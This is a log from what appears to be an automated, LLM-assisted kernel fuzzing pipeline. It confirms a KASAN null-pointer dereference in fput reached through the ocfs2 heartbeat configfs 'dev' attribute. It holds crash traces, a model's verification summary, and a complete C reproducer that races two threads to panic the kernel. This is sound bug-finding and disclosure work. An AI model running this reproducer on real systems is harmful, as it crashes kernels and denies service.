 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

IsProbe: false
Reproduced: true
Console Output: [   61.946612][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   61.946621][   T33] audit: type=1400 audit(1788555666.426:201): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.956299][   T33] audit: type=1400 audit(1788555666.436:202): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.964330][   T33] audit: type=1400 audit(1788555666.436:203): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.970604][   T33] audit: type=1400 audit(1788555666.436:204): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:7215' (ED25519) to the list of known hosts.
[   63.988983][   T33] audit: type=1400 audit(1788555668.466:205): avc:  denied  { mounton } for  pid=5832 comm="syz-executor369" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   63.998170][   T33] audit: type=1400 audit(1788555668.466:206): avc:  denied  { mount } for  pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   64.002137][ T5832] audit: audit_backlog=65 > audit_backlog_limit=64
[   64.006189][   T33] audit: type=1400 audit(1788555668.466:207): avc:  denied  { search } for  pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.007879][ T5832] audit: audit_lost=1 audit_rate_limit=0 audit_backlog_limit=64
[   64.015184][   T33] audit: type=1400 audit(1788555668.466:208): avc:  denied  { search } for  pid=5832 comm="syz-executor369" name="cluster" dev="configfs" ino=168 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.023145][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.025746][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.030691][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.035179][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.038975][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.042927][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.042940][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.047127][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.050949][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.054721][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.058599][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.062081][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.065935][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.069879][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.073592][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.077453][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.081017][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.085320][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.088712][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.092446][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.096234][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.099850][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.103657][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.107601][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.111159][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.115052][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.118718][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.122542][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.126806][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.130028][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.133817][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.141245][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.145240][ T5835] ==================================================================
[   64.145248][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.148951][ T5835] BUG: KASAN: null-ptr-deref in fput+0x30/0xd0
[   64.151580][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.155233][ T5835] Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
[   64.155242][ T5835] 
[   64.155248][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
[   64.155256][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.155260][ T5835] Call Trace:
[   64.155264][ T5835]  <TASK>
[   64.155267][ T5835]  dump_stack_lvl+0xe8/0x150
[   64.155283][ T5835]  ? fput+0x30/0xd0
[   64.155289][ T5835]  kasan_report+0x117/0x150
[   64.155297][ T5835]  ? fput+0x30/0xd0
[   64.155308][ T5835]  kasan_check_range+0x264/0x2c0
[   64.155316][ T5835]  fput+0x30/0xd0
[   64.155322][ T5835]  o2hb_region_dev_store+0x70b/0x1330
[   64.155333][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.155343][ T5835]  ? _copy_from_iter+0x21b/0x1660
[   64.155352][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.155362][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.155371][ T5835]  ? down_read+0x2be/0x330
[   64.155382][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.155391][ T5835]  configfs_write_iter+0x337/0x430
[   64.155400][ T5835]  vfs_write+0x612/0xba0
[   64.155408][ T5835]  ? __pfx_vfs_write+0x10/0x10
[   64.155417][ T5835]  ? __fget_files+0x2a/0x420
[   64.155425][ T5835]  __x64_sys_pwrite64+0x196/0x220
[   64.155434][ T5835]  ? __pfx___x64_sys_pwrite64+0x10/0x10
[   64.155443][ T5835]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.155450][ T5835]  do_syscall_64+0x174/0x580
[   64.155459][ T5835]  ? trace_irq_disable+0x3b/0x140
[   64.155466][ T5835]  ? clear_bhb_loop+0x40/0x90
[   64.155473][ T5835]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.155480][ T5835] RIP: 0033:0x7f00c717be4e
[   64.155486][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[   64.155492][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[   64.155519][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[   64.155524][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[   64.155528][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[   64.155532][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[   64.155537][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[   64.155543][ T5835]  </TASK>
[   64.155546][ T5835] ==================================================================
[   64.157775][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.161717][ T5835] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   64.161725][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
[   64.161733][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   64.161737][ T5835] Call Trace:
[   64.161741][ T5835]  <TASK>
[   64.161744][ T5835]  vpanic+0x56c/0xa60
[   64.161756][ T5835]  ? __pfx_vpanic+0x10/0x10
[   64.161766][ T5835]  panic+0xc5/0xd0
[   64.161774][ T5835]  ? __pfx_panic+0x10/0x10
[   64.161783][ T5835]  ? fput+0x30/0xd0
[   64.161790][ T5835]  ? fput+0x30/0xd0
[   64.161796][ T5835]  check_panic_on_warn+0x89/0xb0
[   64.161803][ T5835]  ? fput+0x30/0xd0
[   64.161808][ T5835]  end_report+0x73/0x170
[   64.161815][ T5835]  ? fput+0x30/0xd0
[   64.161820][ T5835]  kasan_report+0x128/0x150
[   64.161827][ T5835]  ? fput+0x30/0xd0
[   64.161834][ T5835]  kasan_check_range+0x264/0x2c0
[   64.161841][ T5835]  fput+0x30/0xd0
[   64.161847][ T5835]  o2hb_region_dev_store+0x70b/0x1330
[   64.161859][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.161868][ T5835]  ? _copy_from_iter+0x21b/0x1660
[   64.161877][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.161886][ T5835]  ? configfs_write_iter+0x238/0x430
[   64.161895][ T5835]  ? down_read+0x2be/0x330
[   64.161905][ T5835]  ? __pfx_o2hb_region_dev_store+0x10/0x10
[   64.161914][ T5835]  configfs_write_iter+0x337/0x430
[   64.161923][ T5835]  vfs_write+0x612/0xba0
[   64.161931][ T5835]  ? __pfx_vfs_write+0x10/0x10
[   64.161940][ T5835]  ? __fget_files+0x2a/0x420
[   64.161948][ T5835]  __x64_sys_pwrite64+0x196/0x220
[   64.161957][ T5835]  ? __pfx___x64_sys_pwrite64+0x10/0x10
[   64.161966][ T5835]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.161972][ T5835]  do_syscall_64+0x174/0x580
[   64.161981][ T5835]  ? trace_irq_disable+0x3b/0x140
[   64.161988][ T5835]  ? clear_bhb_loop+0x40/0x90
[   64.161995][ T5835]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   64.162001][ T5835] RIP: 0033:0x7f00c717be4e
[   64.162007][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[   64.162013][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[   64.162021][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[   64.162026][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[   64.162030][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[   64.162034][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[   64.162039][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[   64.162045][ T5835]  </TASK>
[   64.165024][ T5835] Kernel Offset: disabled

Strace Output: 
Crash Report: (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835

CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x30/0xd0 fs/file_table.c:588
 o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x612/0xba0 fs/read_write.c:687
 ksys_pwrite64 fs/read_write.c:794 [inline]
 __do_sys_pwrite64 fs/read_write.c:802 [inline]
 __se_sys_pwrite64 fs/read_write.c:799 [inline]
 __x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
 </TASK>
==================================================================



204/4 2026/09/04 21:01 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13578
							output: 62
							thoughts: 752
						

Thoughts:
**Analysis of Reproducer Run for KASAN: null-ptr-deref Write in fput**

My task was to analyze the results of a reproducer run targeting the "KASAN: null-ptr-deref Write in fput" bug. The reproducer was successful in triggering a crash, which is the primary goal of such an exercise. I then examined the provided crash report to confirm that it indeed corresponds to the original bug description.

Upon reviewing the crash report, I observed the following key elements:

*   **KASAN reported a `null-ptr-deref`**: This is a critical indication of a bug where the kernel attempted to access memory through a null pointer.
*   **The dereference occurred within `instrument_atomic_read_write`, `atomic_long_dec_return`, and `file_ref_put`**: These inline functions are part of the atomic operations and file reference counting mechanisms, respectively. The fact that they are inlined means the actual problematic operation might be one level deeper.
*   **The crash culminated in `fput`**: Specifically, the report points to `fput+0x30/0xd0` in `fs/file_table.c:588`. This is the core function where the `null-ptr-deref` occurred.
*   **The crash involved a "Write of size 8 at addr 0000000000000158"**: This detail gives us a specific location and type of memory access that failed.
*   **The call trace**: This is crucial. I traced the execution path leading to the crash, noting the sequence of function calls: `fput` itself, then `o2hb_region_dev_store` in `fs/ocfs2/cluster/heartbeat.c`, followed by `flush_write_buffer` and `configfs_write_iter` within `fs/configfs/file.c`.

The most important confirmation came when I compared this crash report with the original bug description. I found an **exact match**:

*   The KASAN error type (`null-ptr-deref`).
*   The involved functions (`instrument_atomic_read_write`, `atomic_long_dec_return`, `file_ref_put`, `fput`).
*   The specific file and line number for `fput` (`fs/file_table.c:588`).
*   The call trace, particularly the entry point into `fput` from `o2hb_region_dev_store`.

This precise alignment leaves no doubt in my mind that the reproducer successfully triggered the intended bug.

Based on this analysis, I will proceed with setting the following results:

*   **`TitleMatches` will be set to `true`**: This signifies that the observed crash's signature aligns with the bug title.
*   **`ProbePassed` will be set to `false`**: This is because the reproducer's purpose was to trigger a bug, not to pass a probe. A successful bug trigger implies the probe did not "pass" in the sense of a clean execution.
*   **Feedback will confirm the match**: I will state that the reproducer successfully triggered the expected crash, and that the crash signature and call trace precisely match the original bug report, thereby confirming that the underlying issue is indeed the same.

Finally, I will execute the `set-results` command with these parameters to record the outcome of this reproducer run.


205/4 2026/09/04 21:01 tool set-results
0m Args:
map[Feedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ProbePassed:false TerminalError: TitleMatches:true]

Results:
map[Feedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ProbePassed:false TerminalError: TitleMatches:true]

206/3 2026/09/04 21:01 action loop-controller
0m Results:
map[CapabilitiesVerified:true ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. OracleFeedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
 Reproduced:true ReproducedBugTitle:KASAN: null-ptr-deref Write in fput ReproducedCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835

CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x30/0xd0 fs/file_table.c:588
 o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x612/0xba0 fs/read_write.c:687
 ksys_pwrite64 fs/read_write.c:794 [inline]
 __do_sys_pwrite64 fs/read_write.c:802 [inline]
 __se_sys_pwrite64 fs/read_write.c:799 [inline]
 __x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
 </TASK>
==================================================================
]

207/1 2026/09/04 21:01 action save-repro-c
0m Results:
map[]

LLM Calls Summary:
Total Calls Total Tokens Avg Tokens Total Duration (Seconds) Avg Duration (Seconds)
Tool Calls Summary:
Total Calls Total Duration (Seconds) Avg Duration (Seconds)